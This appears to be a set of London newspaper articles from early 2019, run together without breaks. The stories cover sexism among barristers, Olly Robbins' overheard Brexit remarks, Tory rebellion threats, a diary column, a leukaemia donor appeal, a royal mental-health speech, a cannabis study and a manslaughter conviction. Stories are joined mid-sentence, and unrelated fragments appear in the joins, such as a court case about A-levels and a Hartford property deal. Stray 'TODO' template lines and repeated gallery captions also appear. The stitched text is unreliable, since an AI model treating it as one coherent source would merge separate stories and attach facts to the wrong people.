The court heard Mr Afrifra had taken on additional A-levels before studying aeronautical engineering at Imperial College London, which he argues shows his willingness to work hard while managing his attention deficit disorder.A rising star of the legal profession has told male barristers to stop making jokes about breasts and skirts in a broadside against sexism that persists in courtrooms.

Joanna Hardy said her male counterparts should avoid behaving like youre on a stag do and should not communicate solely by innuendo in a further swipe at the treatment that female lawyers sometimes endure.

Ms Hardy said women barristers at male-heavy hearings should also not be asked to fetch the coffee, pour water, or organise the case dinner.

Telling a female barrister youre worse than my wife was also not an acceptable way to conclude a debate about complex legal provisions, she said.

Ms Hardy is included in the Legal 500 list of leading junior criminal barristers and works at Red Lion Chambers, which was headed by Max Hill QC until he became Director of Public Prosecutions. She was one of three leading barristers chosen to represent the profession last year at a hearing of the Commons Justice Select Committee on the disclosure of evidence in criminal trials.

Respected: Joanna Hardy was chosen to speak at a hearing of the Commons Justice Select Committee last year, about the disclosure of evidence in criminal trials

The barrister delivered her criticisms in nine tweets setting out improvements that could help female lawyers to thrive. Her call for reform follows persistent complaints about the lack of diversity at the highest levels of the law, and was prompted by a similar demand earlier this week by the head of the Criminal Bar Association.

Chris Henley QC said that there was too much talk and not enough action to improve working practices and ensure there was zero tolerance for sexist and bullying behaviour.

In her Twitter intervention, Ms Hardy said that practical changes to help women should include abolishing early court sittings and warned lists that allow cases to be heard at short notice. She added that chambers should offer maternity policies and support for returning mothers.

Ms Hardy also called on female lawyers to be kind to each other and not to tolerate other women being given a rough time in court.

Her most eye-catching comments were on the continued sexism within the legal profession as she hit out at the inappropriate way in which some male barristers still behave.

Dont behave like youre on a stag do, Ms Hardy tweeted. If youre a male in a male-heavy case, dont ask the female counsel to fetch the coffee/pour your water. Try to remember their names. Dont make repetitive jokes about breasts or skirts. Dont communicate solely in innuendo.

Her nine ways to keep more women in the profession Abolish 9.30am listings to help with childcare and care of elderly relatives.

Abolish warned lists [of standby cases]. No other profession prepares a piece of work for free on the off-chance they might be able to complete it and be paid. Lets fix trials. That requires funding judicial sitting hours and recorders. It requires the utilisation of empty courtrooms.

Be kind to each other. Female advocates can have a rough time of it. Not all the time. And they arent the only ones. But just dont do it. And if you see it, dont tolerate it.

Think about your chambers policies for supporting female members. Do you have a mentoring scheme? A maternity policy? Support for returning to work? Fair allocation of cases? If you dont, write one.

Help each other. If youre a senior female member of the bar or female judge, encourage those behind you. Talk about how you managed families/relatives/stress/career breaks/bravado at the bar. Lend a hand or an ear. Speak on a panel. Write an article. Mentor. Help.

Dont behave like youre on a stag do. If youre a male in a male-heavy case, dont ask the female counsel to fetch the coffee /pour your water. Try to remember their names. Dont make repetitive jokes about breasts or skirts. Dont communicate solely in innuendo.

Youre worse than my wife is not an acceptable way to conclude a debate about complex legal provisions.

No, I dont want to organise the case dinner.

Dont read Monday Messages from @TheCriminalBar or emails from @WellbeingCBA or books by @BarristerSecret and nod along without engaging.

In other tweets, Ms Hardy wrote: Youre worse than my wife is not an acceptable way to conclude a debate about complex legal provisions, and No, I dont want to organise the case dinner.

Several barristers responded by praising her comments with one supportive male colleague asking if she had been working in Jurassic Park Crown Court. Asked by the Evening Standard how frequent sexism was, Ms Hardy said that it was not a regular occurrence, but that once or twice in a career is too often and it contributed to the broader problems that women were facing.

She added: It all feeds into judicial diversity. If we haemorrhage female talent at the bar then we reduce the pool from which judges are drawn.

Its also important barristers, particularly jury advocates, reflect the society they appear in front of.O lly Robbins is never far from Theresa May's side when she travels to Brussels to negotiate Brexit.

He has been the PM's indispensable Europe adviser since she took personal charge of the negotiations over Britain's departure from the EU.

Known by some as the mandarin's mandarin, he is reputed to be the only person in Whitehall to fully grasp the complexities of the British negotiating position.

Officially, Mr Robbins heads the Cabinet Office Europe Unit.

Theresa May has frequently visited Brussels in recent months to discuss Brexit / AP

Despite clearly having the confidence of PM, the unelected civil servant is widely distrusted by Brexiteers, who have accused him of trying to engineer the softest possible break with the EU.

TODO: define component type apester

And though his mastery of the detail may be unrivalled, some have also questioned whether he has the required experience negotiating in the corridors and backrooms of Brussels.

Mr Robbins originally worked under former Brexit Secretary David Davis in the Department for Exiting the EU.

However, he moved to Downing Street in September 2017.

Some in the Leave camp believe he was the true architect of the doomed Chequers plan, drawn up in the Cabinet Office while Mr Davis and other Brexit ministers were kept in the dark.

Prior to his Brexit role Mr Robbins had a long Civil Service career.

He has worked under every prime minister since Tony Blair, when he served as the Labour leader's principal private secretary.

Aged 43, the Oxford graduate has held senior roles in the Treasury and Home Office and was also deputy national security adviser under David Cameron.T heresa May attempted to salvage her threat of a no-deal Brexit today  hours after it was apparently blown out of the water by her own chief negotiator.

Ministers were sent out to insist that there would be no delay to the planned exit on March 29, and that the UK will crash out of the bloc unless MPs vote for her stalled deal.

However, Mrs Mays ultimatum appeared to have been torpedoed by unguarded remarks made by top civil servant Olly Robbins in a hotel bar in Brussels, in which he said he expected the EU to agree to delay Brexit.

Mr Robbins then reportedly said that MPs would be presented with a new ultimatum, this time of backing the May deal or else agreeing to a long extension of Article 50. Extension is possible but if they dont vote for the deal then the extension is a long one, Mr Robbins said, according to ITV News.

Top civil servant Olly Robbins / REUTERS

Brexit Secretary Stephen Barclay embarked on a round of morning media interviews to repair the damage. Asked if Mrs May was ready to seek a delay he replied: No.

The Prime Minister has been very clear that we are committed to leaving on March 29, he told BBC Radio 4s Today. However, listeners pointed out that fell short of ruling out a delay.

Theresa May leaves Number 10 Downing Street for Prime Minister's Questions in Parliament / Getty Images

Mr Barclay said the EU may refuse to grant an extension even if requested. There is no desire on the European side to see... an extension in darkness, where there is no clarity as to why we are extending, he said. Treasury minister Mel Stride told Sky News that he believes an agreement will be struck but added: A no deal is a possibility.

TODO: define component type apester

Conservative party vice-chairman Chris Philp told BBCs Newsnight: What a civil servant might speculate in a bar after a few drinks is frankly not that important.

Countdown to Brexit: 44 days until Britain leaves the EU

The muddle fuelled the cross-party attempt by MPs to prevent a no-deal Brexit from happening by passing legislation to ensure the Government seeks a delay if its withdrawal agreement is rejected.

Brexit: Leave and Remain supporters gather in London on 29 January 1 /25 Brexit: Leave and Remain supporters gather in London on 29 January Pro-EU and pro-Brexit protestors discuss the vote and ongoing political processes as they demonstrate near to the Houses of Parliament Getty Images A man holds a 'Stop Brexit' sign aboard a campaign bus travelling down Whitehall in Westminster, London PA Pro-Brexit demonstrators chant slogans outside the Houses of Parliament Reuters Anti-Brexit demonstrators protest outside the Houses of Parliament Reuters A leave supporter vapes electronic cigarette in front of a group of remain supporters AP Pro-Brexit protestors dressed as suffragettes demonstrate outside the Houses of Parliament Getty Images An anti-brexit supporter holds banners in London AP Pro and anti Brexit protestors discuss the vote and ongoing political processes as they demonstrate near to the Houses of Parliament Getty Images Pro-Brexit and anti-Brexit protesters hold banners in London AP A campaigner dressed as Charlie Chaplin walks by the Houses of Parliament PA A leave supporter holds banners at the parliament gates AP Pro-Brexit, left and anti-Brexit protesters hold banners in London AP Pro-Brexit demonstrators protest outside the Houses of Parliament Reuters A leave supporter holds banners in front of remain supporters during demonstrations in London AP Police officers stand near Pro-Brexit and Anti-Brexit posters outside the Houses of Parliament, in Westminster, London Reuters Leave supporters hold placards in front of remain supporters during demonstrations in London, AP A pro-Brexit protestor sets fire to a roll of toilet paper decorated with the EU flag as she demonstrates near the Houses of Parliament Getty Images A pro-Brexit protestor sets fire to a roll of toilet paper decorated with the EU flag as she demonstrates near the Houses of Parliament Getty Images Leave supporters hold placards as they take part in demonstrations near the parliament in Londo AP Leave and remain supporters hold placards as they take part in demonstrations near the parliament in London AP Pro-Brexit activists hold placards and wave flags as they demonstrate opposite the Houses of Parliament in London AFP/Getty Images A remain supporter, left and a leave supporter, center, discuss during demonstrations in London AP Pro-Brexit protesters demonstrate outside the Houses of Parliament in Westminster Getty Images v Reuters Anti-Brexit protesters demonstrate on a double decker bus outside the Houses of Parliament in Westminster Getty Images

Former Tory chairwoman Dame Caroline Spelman welcomed a new draft Bill published by Labour MP Yvette Cooper that attempts to appease critics by leaving the question of how long a delay to be decided by the Government.

However, the Government could face a bruising vote tomorrow night. The European Research Group of anti-EU MPs said they may vote against a Government motion that acknowledges last months non-binding Commons vote against the principle of crashing out.

Labours Sir Keir Starmer said the alleged comments of Mr Robbins suggested Mrs May was running down the clock to put pressure on MPs.The three properties expand its ownership on the south side of the street to all but two properties and are another sign, the real estate investor said, of its confidence in Hartfords revival. Last summer, Shelbourne acquired 99 Pratt St. and 196 Trumbull St. for $2.35 million, with plans to redevelop the structures which wrap around the corner onto Pratt.T heresa May is facing a fresh attempt by a cross-party groups of MPs to prevent a no-deal Brexit if she fails to reach an agreement with Brussels by mid-March.

Labour MP Yvette Cooper and Tory former minister Sir Oliver Letwin are among the group, which have said they are ready to table an amendment enabling Parliament to force ministers to seek a delay if there is no deal in place.

There was speculation at Westminster some ministers opposed to a no-deal break could be prepared to resign to support the amendment when it comes to a vote in two weeks' time.

Meanwhile, a leading business group warned that firms are being "hung out to dry" because of the uncertainty over a no-deal Brexit.

Theresa May making a statement in the Commons / AFP/Getty Images

The backbench move comes amid fury among Brexiteers after it was reported the Prime Minister's chief EU negotiator had suggested MPs could be faced with a delay to Brexit unless they back her deal.

ITV News reported that Olly Robbins was overheard in a Brussels hotel bar telling colleagues the EU would probably give the Government an extension to the Article 50 withdrawal process.

He was said to have indicated that if MPs did not vote for a deal, then the delay to the UK's final departure would be "a long one".

"The issue is whether Brussels is clear on the terms of extension. In the end they will probably just give us an extension," he was quoted as saying.

"Got to make them believe that the week beginning end of March... Extension is possible but if they don't vote for the deal then the extension is a long one..."

Olly Robbins, senior civil servant and Europe adviser to Theresa May / REUTERS

Conservative party vice-chairman Chris Philp later dismissed the report, telling BBC's Newsnight: "What a civil servant might speculate in a bar after a few drinks is frankly not that important."

However the comments by Mr Robbins will reinforce suspicions among MPs that Mrs May is trying to "run down the clock" in an attempt to force them to back her agreement.

Tory Brexiteer Andrea Jenkyns tweeted: "If true, the PM should stop ignoring the wishes of the British people and disregarding her own red lines."

Former Ukip leader Nigel Farage said Mr Robbins was part of the "Civil Service fifth column" and called for him to be sacked for his combination of "treachery and incompetence".

However Steve Baker, the deputy chairman of the pro-Brexit Tory European Research Group, said it was the view of the Prime Minister which counted.

"Officials advise. Ministers decide. If the PM decides we are leaving on March 29, deal or no deal, that will happen," he said.

Conservative MP Steve Baker / REUTERS

A Government spokesman said: "We would not comment on alleged remarks from a private conversation which is said to have been overheard in a hotel bar."

Asked on Wednesday morning whether the reported comments of Mr Robbins reflected Government policy, Brexit Secretary Stephen Barclay said: "No."

Mr Barclay told BBC Radio 4's Today: "The Prime Minister has been very clear that we are committed to leaving on March 29."

The Brexit Secretary, who met senior MEPs in Strasbourg on Tuesday, added: "What came over was actually that it is not in anyone's interests to have an extension without any clarity. It is actually very disruptive to the European Parliament.

"They have obviously elections for the Parliament and a Commission that will be formed at the end of May, so there is no desire on the European side to see what one described to me as an 'extension in darkness', where there is no clarity as to why we are extending."

Brexit: Leave and Remain supporters gather in London on 29 January 1 /25 Brexit: Leave and Remain supporters gather in London on 29 January Pro-EU and pro-Brexit protestors discuss the vote and ongoing political processes as they demonstrate near to the Houses of Parliament Getty Images A man holds a 'Stop Brexit' sign aboard a campaign bus travelling down Whitehall in Westminster, London PA Pro-Brexit demonstrators chant slogans outside the Houses of Parliament Reuters Anti-Brexit demonstrators protest outside the Houses of Parliament Reuters A leave supporter vapes electronic cigarette in front of a group of remain supporters AP Pro-Brexit protestors dressed as suffragettes demonstrate outside the Houses of Parliament Getty Images An anti-brexit supporter holds banners in London AP Pro and anti Brexit protestors discuss the vote and ongoing political processes as they demonstrate near to the Houses of Parliament Getty Images Pro-Brexit and anti-Brexit protesters hold banners in London AP A campaigner dressed as Charlie Chaplin walks by the Houses of Parliament PA A leave supporter holds banners at the parliament gates AP Pro-Brexit, left and anti-Brexit protesters hold banners in London AP Pro-Brexit demonstrators protest outside the Houses of Parliament Reuters A leave supporter holds banners in front of remain supporters during demonstrations in London AP Police officers stand near Pro-Brexit and Anti-Brexit posters outside the Houses of Parliament, in Westminster, London Reuters Leave supporters hold placards in front of remain supporters during demonstrations in London, AP A pro-Brexit protestor sets fire to a roll of toilet paper decorated with the EU flag as she demonstrates near the Houses of Parliament Getty Images A pro-Brexit protestor sets fire to a roll of toilet paper decorated with the EU flag as she demonstrates near the Houses of Parliament Getty Images Leave supporters hold placards as they take part in demonstrations near the parliament in Londo AP Leave and remain supporters hold placards as they take part in demonstrations near the parliament in London AP Pro-Brexit activists hold placards and wave flags as they demonstrate opposite the Houses of Parliament in London AFP/Getty Images A remain supporter, left and a leave supporter, center, discuss during demonstrations in London AP Pro-Brexit protesters demonstrate outside the Houses of Parliament in Westminster Getty Images v Reuters Anti-Brexit protesters demonstrate on a double decker bus outside the Houses of Parliament in Westminster Getty Images

The row broke as the British Chambers of Commerce (BCC) published a list of 20 "critical" questions it said remained unanswered for business if the UK leaves the EU on March 29 without a deal.

Adam Marshall, director general of the BCC, said: "In less than 50 days, UK firms could face the biggest change to their terms of trade in over a generation, without the information and clarity they need to navigate their forward course.

"There is a very real risk that a lack of clear, actionable information from Government will leave firms, their people and their communities hung out to dry."

Meanwhile it was reported that the Chief of MI6, Alex Younger, is expected to stay on beyond his retirement date to guide the secret intelligence service through Brexit.

Downing Street declined to be drawn on a report that officials want Mr Younger, 55 - who is due to retire in November, to carry on for 12 months to two years after Britain has left the EU.

TODO: define component type apester

Meanwhile, the group led by Ms Cooper and Sir Oliver said they were preparing plans to enable Parliament to prevent the country falling into a no-deal Brexit "by accident".

The move follows the announcement by Mrs May on Tuesday that she will make a further Commons statement on February 26 and table an amendable motion to be debated and voted on by MPs the following day, if she has not got a deal at that point.

The group said they would then put down an amendment creating time for a bill requiring the Prime Minister and Parliament to decide by mid-March whether the UK is leaving with a deal, without a deal or whether it will seek an extension to Article 50.

Yvette Cooper in the House of Commons on Tuesday / AP

Ms Cooper said the bill creates a "Parliamentary safeguard to prevent us drifting into no-deal by accident".

A similar amendment by Ms Cooper and the Tory former minister Nick Boles was defeated in the Commons last month.

However, supporters of the plan believe that as the calendar counts down towards March 29, it will focus the minds of MPs on all sides who believe no-deal would be a disaster for the UK economy.

Sir Oliver said: "Any MP who genuinely wants to prevent an under-prepared no-deal Brexit will need to vote for this bill at the end of February."

Other MPs supporting the move include the senior Labour MP Hilary Benn, Tory former attorney general Dominic Grieve and the Liberal Democrat Norman Lamb.T heresa May faces a Commons revolt by Tory Right-wingers amid chaos over her Brexit policy.

Members of the hardline European Research Group said they will vote against the Government tomorrow night, putting her at risk of another humiliating defeat.

The clash erupted over the wording of a government motion that supports a previous Commons vote that opposed crashing out of the EU without a deal.

At Prime Ministers Questions, Mrs May attempted to reassure Tory MPs that she still planned to leave the EU on March 29. However, she did not rule out a delay altogether.

TODO: define component type apester

Expectations of a delay  which ministers have been predicting for weeks in private  were bolstered by unguarded remarks made by Mrs Mays chief negotiator and overheard in a hotel bar. Olly Robbins said MPs would be offered a choice of a long delay or voting for the withdrawal deal.

The ERGs frustration was spelled out by the groups vice-chair Mark Francois who said of the new motion: We cannot vote for this as its currently configured because it rules out no deal and removes our negotiating leverage in Brussels.

Under pressure on Brexit: Theresa May / AFP/Getty Images

He claimed it was madness for the PM to risk losing in Parliament on a motion that contradicted her own repeated claim that Britain could leave without a deal unless MPs back her much-criticised withdrawal agreement.

Brexit: Leave and Remain supporters gather in London on 29 January 1 /25 Brexit: Leave and Remain supporters gather in London on 29 January Pro-EU and pro-Brexit protestors discuss the vote and ongoing political processes as they demonstrate near to the Houses of Parliament Getty Images A man holds a 'Stop Brexit' sign aboard a campaign bus travelling down Whitehall in Westminster, London PA Pro-Brexit demonstrators chant slogans outside the Houses of Parliament Reuters Anti-Brexit demonstrators protest outside the Houses of Parliament Reuters A leave supporter vapes electronic cigarette in front of a group of remain supporters AP Pro-Brexit protestors dressed as suffragettes demonstrate outside the Houses of Parliament Getty Images An anti-brexit supporter holds banners in London AP Pro and anti Brexit protestors discuss the vote and ongoing political processes as they demonstrate near to the Houses of Parliament Getty Images Pro-Brexit and anti-Brexit protesters hold banners in London AP A campaigner dressed as Charlie Chaplin walks by the Houses of Parliament PA A leave supporter holds banners at the parliament gates AP Pro-Brexit, left and anti-Brexit protesters hold banners in London AP Pro-Brexit demonstrators protest outside the Houses of Parliament Reuters A leave supporter holds banners in front of remain supporters during demonstrations in London AP Police officers stand near Pro-Brexit and Anti-Brexit posters outside the Houses of Parliament, in Westminster, London Reuters Leave supporters hold placards in front of remain supporters during demonstrations in London, AP A pro-Brexit protestor sets fire to a roll of toilet paper decorated with the EU flag as she demonstrates near the Houses of Parliament Getty Images A pro-Brexit protestor sets fire to a roll of toilet paper decorated with the EU flag as she demonstrates near the Houses of Parliament Getty Images Leave supporters hold placards as they take part in demonstrations near the parliament in Londo AP Leave and remain supporters hold placards as they take part in demonstrations near the parliament in London AP Pro-Brexit activists hold placards and wave flags as they demonstrate opposite the Houses of Parliament in London AFP/Getty Images A remain supporter, left and a leave supporter, center, discuss during demonstrations in London AP Pro-Brexit protesters demonstrate outside the Houses of Parliament in Westminster Getty Images v Reuters Anti-Brexit protesters demonstrate on a double decker bus outside the Houses of Parliament in Westminster Getty Images

Mrs May could try to avoid defeat by appealing to Labour MPs but that would risk driving a deeper wedge between the Government and the Tory Right wing.

At PMQs, when pressed by Crawley Tory MP Henry Smith to rule out a delay, Mrs May said: This House voted to trigger Article 50, that had a two-year timeline, that ends on the 29th of March, we want to leave with a deal and that is what we are working for.

Countdown to Brexit: 44 days until Britain leaves the EU

Senior government sources said there was no intention to upset the ERG with the new motion and expressed surprise at the rebellion.Ministers spent the morning trying to undo the reporting of Mr Robbins remarks.

Brexit Secretary Stephen Barclay told BBC Radio 4s Today: The Prime Minister has been very clear that we are committed to leaving on March 29.

Conservative party vice-chairman Chris Philp told BBCs Newsnight: What a civil servant might speculate in a bar after a few drinks is frankly not that important.G ina Miller was more worried about a certain Mr Corbyn than Brexit when she successfully took the Government to court in 2016.

In a speech to asset management firm Amundi, the businesswoman and campaigner, right, revealed that it was her fears about the Labour leader that drove her legal bid to ensure Parliament would have a vote on Brexit.

If a prime minister had been able to use the royal prerogative... to alter peoples rights, she explained, it would have set a precedent that a future prime minister could also do that. Labour could [have] come in with Mr Corbyn having that power. I was more worried about him than... Brexit.

Of the Labour leaders current Brexit strategy, she says: Mr Corbyn is a Brexiteer and he doesnt want us to stay in the EU. Hes playing exactly the same game as May, which is running down the clock.

What about the promise of a Peoples Vote as a final option? He might at the last minute say hes going to back the Peoples Vote knowing we cant actually execute it, she said.

Miller gives Theresa May similar short shrift: Weve ended up with two parties led by two people who dont really listen to anybody and actually behave as if they can run the country like its their party.

The prominent anti-Brexit spokeswoman now says she knew Remain would lose against the very clever Leave campaign. She revealed that shed urged Remain to focus on staying in the EU to reform from within, but the response from campaign leaders was lukewarm. I literally got patted on the back and told I worry too much, that I didnt understand the British psyche.

But it was on the backstop that Miller made her boldest claim: she predicted the Irish border will become Calais post-Brexit. Those 200 miles and 300 crossings become Calais. If Europe is not worried about immigrants going through Europe to us, and we cant actually police it, theyll just walk over.

Unrequited love

The Next AOC?: Rebecca Long-Bailey ( Leon Neal/Getty Images) / Leon Neal/Getty Images

Alexandria Ocasio-Cortez has distanced herself from Jeremy Corbyn over Labours anti-Semitism problem. But Labour is still keen to hitch its campaigns to the Democrat darling. Shadow business secretary Rebecca Long-Bailey is addressing a Green New Deal event at Imperial College London today inspired by Ocasio-Cortezs push for a Green New Deal. Long-Bailey, Corbyns favoured successor, is speaking alongside Zack Exley, co-founder of Justice Democrats, the movement that recruited AOC. The lecture opens a dialogue between US organisers, the Labour Party and climate movements.

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Palmerston, the Foreign Office cat, has been given a tracker collar to monitor his whereabouts at weekends, its been revealed. Perhaps his owners want to avoid the situation that befell Gladstone, the Treasury cat, who was also left alone over weekends and fouled under stafferss desks.

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Conservative Central HQ hosts a Valentines Day dating event tonight with food, wine, singles... and Cabinet members (presumably acting as chaperones, not date options). Its happening alongside a calling night  a phone campaign evening. Star-crossed lovers might find themselves casting wistful glances over telephone wires rather than cocktails.

The sexist start to Last Minute life

Defying naysayers: Martha Lane Fox / John Phillips/Getty Images

Baroness Lane-Fox, Martha to friends, says the only meeting she and Brent Hoberman got with a venture capitalist ahead of founding their lucrative online business lastminute.com left them both dumbstruck.

Lane Fox and Hoberman had prepared everything, every single detail but the man taking the meeting stood behind his massive mahogany desk, didnt even look at me, not once. Instead, Lane Fox told Karren Bradys podcast, he just asked one question... to Brent: What happens if she gets pregnant?

Well, Lane Fox replied, I imagine Id have the baby.

Cupids darts fly early at Kensingtons Ours

Chatty man: Alan Carr with Azzi Glasser / Dave Benett/Getty Images

Slightly premature celebrations in South Kensington last night, as Betty Bachz, Amber Le Bon and Lady Sabrina Percy attended a champagne dinner hosted by Perrier-Jouet and Atelier Romy to celebrate Valentines Day at Restaurant Ours. In Fitzrovia, perfumer Azzi Glasser hosted an event as part of The Mandrake Hotels artist-in-residence programme, which sees Glasser offer personalised fragrance styling and love potion workshops. Alan Carr was on hand to assist. The comedian recently appeared on Desert Island Discs where he poked fun at his voice: I did an interview once with Janet Street-Porter, and it was basically like two seagulls fighting over a chip.

Meanwhile, Outlander actor Nell Hudson and fashion designer Daniel Lismore were on Sohos Kingly Street attending the launch of new members club The Court. Its built on the site of former music venue Bag ONails, where Sir Paul McCartney met his first wife Linda.

SW1A

Have Gavin Williamson and Johnny Mercer buried the hatchet? Mercer, a former commando, took aim at Williamson in July with a veiled attack on the Defence Secretarys lobbying tactics. But an exchange of congratulatory tweets this week suggests they have laid down arms. Well done, Gavin Williamson, wrote Mercer as news broke that the UK is buying two new warships. Thank you, Johnny Mercer, replied Williamson. Peace in our time?

--

Harriet Harman has renewed calls to allow breastfeeding in the Commons chamber after Scottish MSPs lifted a ban at Holyrood. Happens in many councils, Harman points out, without a fuss. All MPs were babies once.

--

Happy 70th birthday to Nicholas Soames MP. James Cleverly MP sent a message mocking his habit of using super-elongated hashtags: A very happy birthday to NicholasSoames #itisanhonour- andapleasure- toservealongside- yousir #itisanhonourandapleasuretoservealongsideyousir

Quote of the Day

Prime Minister Theresa May / WPA Pool/Getty Images

I wanted to have this sorted before ChristmasA mother in Germany hoping for a life-saving stem cell transplant today launched a search for the donor in London.

Astrid, 41, received a shock diagnosis of aggressive blood cancer  acute myeloid leukaemia (AML)  in September last year after going to the doctor with a fever and inflamed mouth and throat.

The HR manager, from Frankfurt, underwent five rounds of chemotherapy but has been told she needs a stem cell transplant within months to survive. She recently lost her only match found during months of searching.

She is of Nigerian-German descent, and according to UK and Germany-based blood cancer charity DKMS, fewer than three per cent of registered blood stem cell donors in Europe have mixed-background genetics. In the UK, black and Asian people have a 20 per cent chance of finding a match.

Astrid and her husband Florian, 43, who have already launched an appeal in Germany, are now turning to the capital for help as London has the largest Nigerian diaspora in Europe.

The family are asking Londoners with one parent from the Ibo or Igbo ethnic group, like Astrids father, and one parent of wider European descent to take a simple home swab test to see if they are a match. Potential donors must be aged between 17 and 55 and in general good health.

She told the Standard: Every other patient I met in the hospital who was in need of a stem cell donation found an eligible donor. I have found no match so far. The thought of not seeing my little boys grow up is unbearable to me. I would be grateful to Londoners for their help.

The couple have two sons, aged nine and 11. Florian, a lawyer, uses a wheelchair following a motorbike accident in 2014.

He said: Our children are doing quite well. They have already seen one parent in hospital for a year and continue with life, but we have not given them the full picture, that if there is not a good return to the campaign their mother may no longer be here.

Only about three per cent of the people registered worldwide on databases are of mixed background  that is a very clear, unbearable disadvantage. There are up to 150,000 people in the UK with relation to Nigeria, so it is very important to us to start a campaign in the UK.T he Duchess of Cambridge today made an impassioned plea to back teachers in the battle to improve childrens mental well-being.

Speaking at the Royal Foundations Mental Health Education Conference Kate said parents and parents must work together with teachers to support young people and steer them on the right path.

"No one of us can make a difference alone," she said.

The royal mother of three said, I feel so passionately about working together and being here today has affirmed to me just how much already is being done, so thank you to all of you who are prioritising the importance of mental health and the importance of childhood development as a whole.

The Duchess of Cambridge visits Mercer's Hall - In pictures 1 /15 The Duchess of Cambridge visits Mercer's Hall - In pictures The Duchess of Cambridge arrives at Mercer's Hall in London to attend the Royal Foundation's Mental Health in Education conference, which will see experts discuss what more can be done to tackle mental health issues in schools PA PA PA EPA Getty Images The Duchess of Cambridge and Kate Silverton attend a 'Mental Health In Education' conference at Mercers Hall Getty Images The Duchess of Cambridge attends a 'Mental Health In Education' conference at Mercers Hall Getty Images Chris Jackson/Getty Images Reuters PA AFP/Getty Images Getty Images AFP/Getty Images Reuters EPA

Kate, who has spent eight years working with charities she has met some of our leading experts in mental health, addiction, family breakdown, homelessness and education, says she believes many social problems can be traced back to childhood.

The Duchess said, They (experts) have taught me over and over again that the root cause of so many of todays social problems can be traced right back to the very earliest years of a persons life and often over generations.

The scientific and other evidence is clear the first few years of a childs life are more pivotal for development and for future health and happiness than any other single moment in our life time.

The Duke of Cambridge has been named as patron of homeless charity The Passage / Kensington Palace

It is also clear that the positive development of our children is directly linked to those who care for them, teachers, carers and parents, she went on.

It is therefore vital that we support teachers with their own wellbeing so that they can find the best level of care for all children, in their schools and communities in which they work. No one of us however can make a difference alone, she said.

William first visited the charity in December 1993, when he was 11 / Kensington Palace

Earlier the Duke of Cambridge was named as the patron of the charity, that he first visited as a boy with Princess Diana.

Kate and William attend separate engagements in London

William, 36, has become the figurehead of The Passage, an organisation based at St Vincents Centre in Westminster which has helped more than 130,000 people over nearly 40 years.

He was 11 when Diana took him and his younger brother Harry to the charity in December 1993. Kensington Palace today released a picture of The Passages visitors book, showing where William had signed his name, alongside his mothers, on that visit.

The conference will see a full day of speakers, discussions and breakout sessions / Getty Images

William, who has also been patron of homeless charity Centrepoint, has said his visits to the centre as a child had left a deep and lasting impression.

He has made numerous public and private trips to the centre since then, including with the Duchess of Cambridge before Christmas when he spoke about the effect of the drug spice on the homeless.

He joined volunteers at the charity today to help prepare and serve lunch in his first official engagement as patron.

Cardinal Vincent Nichols, head of the Catholic Church in England and Wales and patron of The Passage, said: I know the duke is deeply committed to working with those most in need, such as the thousands of people The Passage has helped off the streets. The charitys chief executive, Mick Clarke, said that during Williams visits it has been very clear that he has a deep concern for those affected by homelessness.A bout 60,000 young Britons are at increased risk of depression and suicide because they used cannabis as teenagers, a major study revealed today.

The class B drug is already known to cause psychosis but todays research is one of the first to examine links with more common mental disorders such as depression and anxiety.

Researchers at Oxford University and McGill University in Montreal found a seven per cent increased risk of depression and suicidal behaviour in people who took cannabis as adolescents.

Though the risk was described as modest on an individual level, it has raised much more serious concerns about the wider population impact because cannabis use is so prevalent.

It said that more than 400,000 adolescent cases of depression in the US, 60,000 in the UK and 25,000 in Canada were potentially attributable to cannabis exposure.

The findings were based on a meta analysis of 11 international studies conducted over 15 years and involving 23,317 people.

No direct causative link was found between cannabis use and depression or suicide. Nor was the type or quantity of cannabis examined in terms of how much was needed to cause a negative impact.

Professor Andrea Cipriani, of Oxford University, said: We looked at the effects of cannabis because its use among young people is so common, but the long-term effects are still poorly understood.

Although the negative effects of cannabis can vary between individual adolescents and it is not possible to predict the exact risk for each teenager, the widespread use of cannabis among the young generations makes it an important public health issue.

Regular use during adolescence is associated with lower achievement at school, addiction, psychosis and neuropsychological decline, and increased risk of motor vehicle crashes.

Professor Sir Robin Murray, of Kings College London, said: The finding that cannabis use is associated with a modest increase in risk of depression and suicide is probably correct.A drug addicted mugger has been found guilty of killing a frail 100-year-old Nazi prison camp survivor following a street robbery.

Zofija Kaczan died of pneumonia in hospital on June 6 days after her neck and cheekbone were fractured in a handbag robbery on May 28 last year.

She was knocked to the floor and robbed as she made her way to church in Normanton, Derby, suffering multiple injuries in the attack.

Self-confessed heroin addict Artur Waszkiewicz had denied manslaughter and robbery but was convicted of killing her at Derby Crown Court on Wednesday.

His trial heard he needed an "easy target" to steal from so he could meet a drug dealer a short time later to buy 20 of heroin.

Convicted: Artur Waszkiewicz / PA

Polish-born widow Ms Kaczan survived a Nazi labour camp during the Second World War in which she was forced to work in factories and was even sentenced to death on her birthday.

She died of pneumonia brought on by the injuries sustained in the attack.

A jury of seven men and five women at Derby Crown Court deliberated for just over two hours before unanimously convicting Waszkiewicz of manslaughter and robbery.

Addressing the jury, the judge said: "The sentence will inevitably be one of lengthy imprisonment. Mr Waszkiewicz knows that."

Ms Kaczan suffered multiple injuries in the attack / PA

The centenarian had been separated from her family in Poland during the war, but had managed to "find peace" with her husband after coming to Derby in 1948.

Friends said she did not want to celebrate her 100th birthday because the day marked the same day of the year she had been sentenced to death by the Nazis.

Waszkiewicz was caught on CCTV driving a Seat Leon car he bought from his father minutes before robbing Ms Kaczan - slowing down as soon as he saw a "small, vulnerable" woman on her own.

His trial heard he needed an "easy target" to steal from so he could meet a drug dealer a short time later to buy 20 of heroin.

Opening the case, prosecutor Kate Brunner QC said: "She was attacked, she was thrown to the ground and her handbag was snatched from her.

"She was small, on her own, vulnerable - an easy target for a man desperate for money.

"He attacked Ms Kaczan, yanking her handbag from her and leaving her injured in the road and driving off."

Police arrested Waszkiewicz, who was also born in Poland, after his fingerprint was recovered from a receipt in the bag.

He fled the city and hid under a bed at his mother's house in London to try to avoid arrest.

The trial was told the 40-year-old had a number of previous convictions including shoplifting, creating false identification documents and one offence of battery.

He denied both charges, saying he had found the green handbag in the middle of the road, picked it up, and disposed of it at a well-known fly-tipping area because there was no cash.

A spokeswoman for the Polish community of St Maksymilian Kolbe, the church Ms Kaczan attended, said she had a "very difficult early life" but had found a "degree of stability and tranquillity" in Derby.

"That tranquillity was shattered by the brutal events of May 28, 2018," she added.

